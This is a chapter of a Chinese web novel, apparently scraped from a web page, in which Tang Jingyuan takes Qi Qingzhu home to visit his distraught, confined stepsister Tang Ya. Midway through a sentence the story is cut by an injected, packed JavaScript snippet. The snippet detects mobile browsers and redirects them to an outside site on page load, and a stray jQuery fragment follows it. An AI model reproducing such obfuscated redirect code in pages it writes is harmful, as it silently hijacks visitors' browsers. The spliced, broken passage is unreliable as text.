25.又见唐雅

作品:《我都要死了,打你怎么了!

    另一边,唐净远载着齐清竹,缓缓驶入别墅区,在整齐的绿化带和一栋栋独栋别墅之间穿行。


    车子开过齐家门前的时候,唐净远没有停。


    他继续往前开了一段,然后在一个僻静的路边缓缓停下。


    唐净远解开安全带,转头看向副驾驶上的齐清竹。


    齐清竹正靠在椅背上,闭着眼睛,阳光落在她脸上,照得那张脸有些苍白。


    她的睫毛垂下,在眼睑上投下一小片阴影,整个人看起来懒懒的,似乎没什么精神。


    唐净远静静看着她,没有叫醒她。


    他知道清竹不喜欢回那个家。


    小时候她就总是往他家跑,有时候一待就是一整天。


    刚开始他不明白,为什么清竹不愿回自己家。


    后来他慢慢懂了。


    那个家里,有偏心她养女的妈妈,有不管事的爸爸,有后来变得越来越讨厌的亲哥哥。


    她在那栋房子里,像个多余的人。


    每每想到此处,唐净远就为齐清竹感到心疼。


    齐清竹猛然惊醒:“啊,到了吗?”


    “嗯。”唐净远点点头:“清竹,要不要到我家休息一下?”


    齐清竹有些意动。


    她今天不太舒服,不想回去应付那群人。


    可是……


    她想起前两天,刚被唐净远从出租屋里绑回来的唐雅。


    “小雅……”齐清竹有些犹豫:“小雅见我的话,会更生气吧?”


    她太了解唐雅了。


    唐雅现在,应该正处在那种“全世界都对不起我”的状态里。


    她会把所有的愤怒和委屈,都发泄在“破坏她爱情”的人身上。


    而齐清竹,既是“背叛”她的闺蜜,又是她把唐净远叫来的,害唐雅被绑回家的。


    如果她现在去唐家,唐雅见了她,怕是会大吵大闹。


    唐净远沉默了一瞬。


    想起那个被关在房间里,整日打砸哭闹的继妹。


    他叹了口气。


    “是我以前对她疏忽太多了。”


    他的声音里带着一丝自责。


    他以为唐雅只是个内向安静的小姑娘,不会闹事,不需要太多关注,让她安安慰慰读书就行了。


    他没想到,她会那么缺爱。


    缺到随便一个男人对她好一点,她就一头扎进去,竟任由那人打她。


    把唐雅带回家后,他也通知过他的继母,唐雅的亲妈。


    得到的回复却是:“项目正到关键处,忙完再回去,先把她关起来。”


    看到如此冷漠的回复,唐净远就知道,为什么唐雅那么缺爱了。


    “我也是……”


    齐清竹的声音在旁边响起,打断了他的思绪。


    他转过头,看见齐清竹低着头,睫毛垂下来,声音闷闷的:


    “我没早点发现那个吕啸有问题。否则在小雅刚交往的时候劝她分手,她肯定会分的。”


    唐净远看着她那副自责的样子,心里忽然涌起一股复杂的情绪。


    她又在怪自己了。


    从小到大,清竹都是这样。


    什么事都往自己身上揽,什么错都往自己身上堆。明明是别人对不起她,她反而在反思是不是自己哪里做得不够好。


    他抬起手,轻轻揉了揉她的头发。


    那动作很轻,很温柔,像是小时候哄她那样。


    “怎么能怪你。”


    他的声音很稳,带着一种让人安心的力量:“小雅已经是成年人了,男朋友是她自己选的。”


    他顿了顿,目光看着前方,语气更沉了几分:“再不济,她也可以分手。是她自己不肯分手,怪不得你。”


    人有远近亲疏。


    在他这里,齐清竹就是比唐雅更重要。


    认识的时间更长,感情更深,牵扯也更多。


    他看着她从小豆丁长成现在这样,看着她受委屈,看着她忍耐,看着她一步步被家里逼迫成温顺体贴的样子。


    别说唐雅这事与她无关,就算是清竹有错,他都要站在她这边。


    齐清竹抬起头,看着唐净远。


    眼睛里有瞬间的恍惚,像是没想到他会这么说。


    然后那恍惚慢慢化开,变成一点淡淡的笑意。


    “谢谢你,净远哥,”她轻声说。


    有他开导,她感觉心情舒服多了。


    唐净远拍拍齐清竹的脑袋:“你能想开就好,不要再钻牛角尖。”


    “所以……”他问:“今晚……要不要住我家?”


    齐清竹此时已被唐净远劝导开,自然点头:“好啊。”


    给妈妈柳丽馨发了个消息,没得到回复,齐清竹也不在意。收起手机,对等待的唐净远笑笑:“走吧,净远哥。”


    来到唐家别墅,唐净远把车钥匙扔给司机,与齐清竹并肩入门。


    站在门口,齐清竹抬头看了一眼,二楼那扇紧闭的窗户。


    那是唐雅的房间。


    唐净远拍拍她:“走吧,清竹。”


    齐清竹点点头,跟着唐净远走进客厅。


    管家张叔迎上来,脸上带着笑:“清竹小姐来了!好久不见,好久不见!”


    齐清竹弯了弯嘴角:“张叔好。”


    “好好好,都好。”张叔上下打量着她,眼神里满是慈爱:“清竹小姐瘦了,是不是没好好吃饭?今天想吃什么?我让厨房做。”


    齐清竹正想说什么——


    “砰!”


    楼上传来一声闷响,像是什么东西砸在墙上。


    张叔脸上的笑容僵了一瞬,随即恢复正常,低声道:“先生,二小姐今天……情绪还是不太好。”


    唐净远点点头,示意他知道了。


    齐清竹抬起头,看向二楼。只听台阶上隐约传来哭喊声,断断续续的,听不清在说什么。


    但那声音里的崩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304508|197460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    溃和愤怒,足够让人心头发紧。


    “清竹。”唐净远捂住她的耳朵:“不用管她,你先去我书房坐会儿?”


    齐清竹摇摇头。


    “我想上去看看小雅。”


    唐净远皱了皱眉:“她现在情绪不稳定,可能会冲你发火。”


    “我知道。”齐清竹坚持:“但我还是想看看。”


    她顿了顿,声音低了几分:“毕竟……也没几次机会了。”


    “什么?”唐净远没听清。


    齐清竹摇摇头,走上台阶。


    “我陪你上去。”唐净远跟着拾级而上。


    两人一同来到唐雅房门前。门关着,里面传来隐约的哭声。


    齐清竹抬手,敲了三下。


    里面的声音停了。


    几秒后,脚步声响起,由远及近。门被拉开一条缝,唐雅露出半张脸。


    那张脸,齐清竹几乎认不出来了。


    哭得红肿的眼眶,苍白的脸色,乱糟糟的头发。


    无法想像这是那个温柔娴静的唐雅。


    唐雅看见齐清竹,眼神瞬间变得复杂起来。有怨恨,有委屈,还有一丝齐清竹看不懂的……期待?


    “齐清竹,你来干什么?”唐雅的声音沙哑,硬邦邦的:“看我笑话?还是又要劝我分手?”


    齐清竹没回答这个问题,只是问:“能进去说话吗?”


    唐雅盯着她看了几秒,忽然把门拉开了。


    “进来吧。”


    齐清竹走进去,唐净远想跟上,却被唐雅拦住:“哥,我想单独跟清竹说。”


    唐净远看了齐清竹一眼,齐清竹对他点点头。他这才退后一步,站在门外等着。


    门关上了。


    房间里一片狼藉。


    被撕碎的枕头,散落一地的书和衣服,还有墙上几个明显的凹痕——那是砸东西留下的印记。


    窗户紧闭着,窗帘拉得严严实实,透不进一丝光。


    空气里弥漫着一股沉闷的、压抑的气息,像是把所有负面情绪都锁在了这个空间里。


    唐雅走回床边,坐下,低着头,不说话。


    齐清竹站在她面前,看着她。


    房间里安静了几秒。


    然后唐雅忽然抬起头,那双红肿的眼睛里满是泪水,一把抓住齐清竹的手。


    “清竹,你帮帮我!”


    她的声音里带着哭腔,满是哀求和迫切:


    “你帮我出去!我要回去看吕啸!”


    齐清竹愣住了。


    “他……他先是被你打,后来又被我哥打……”唐雅说到这里,心疼得直掉泪:“他现在肯定伤得很重,需要人照顾……他家很穷的,恐怕连去医院的钱都没有。我哥又停了我所有的卡,他一个人在外面要怎么办啊?”


    齐清竹听着这些话,只觉得一股火从心底窜上来。


    好嘛!她以为吕啸只是个无能的家暴男——没想到还是个软饭男!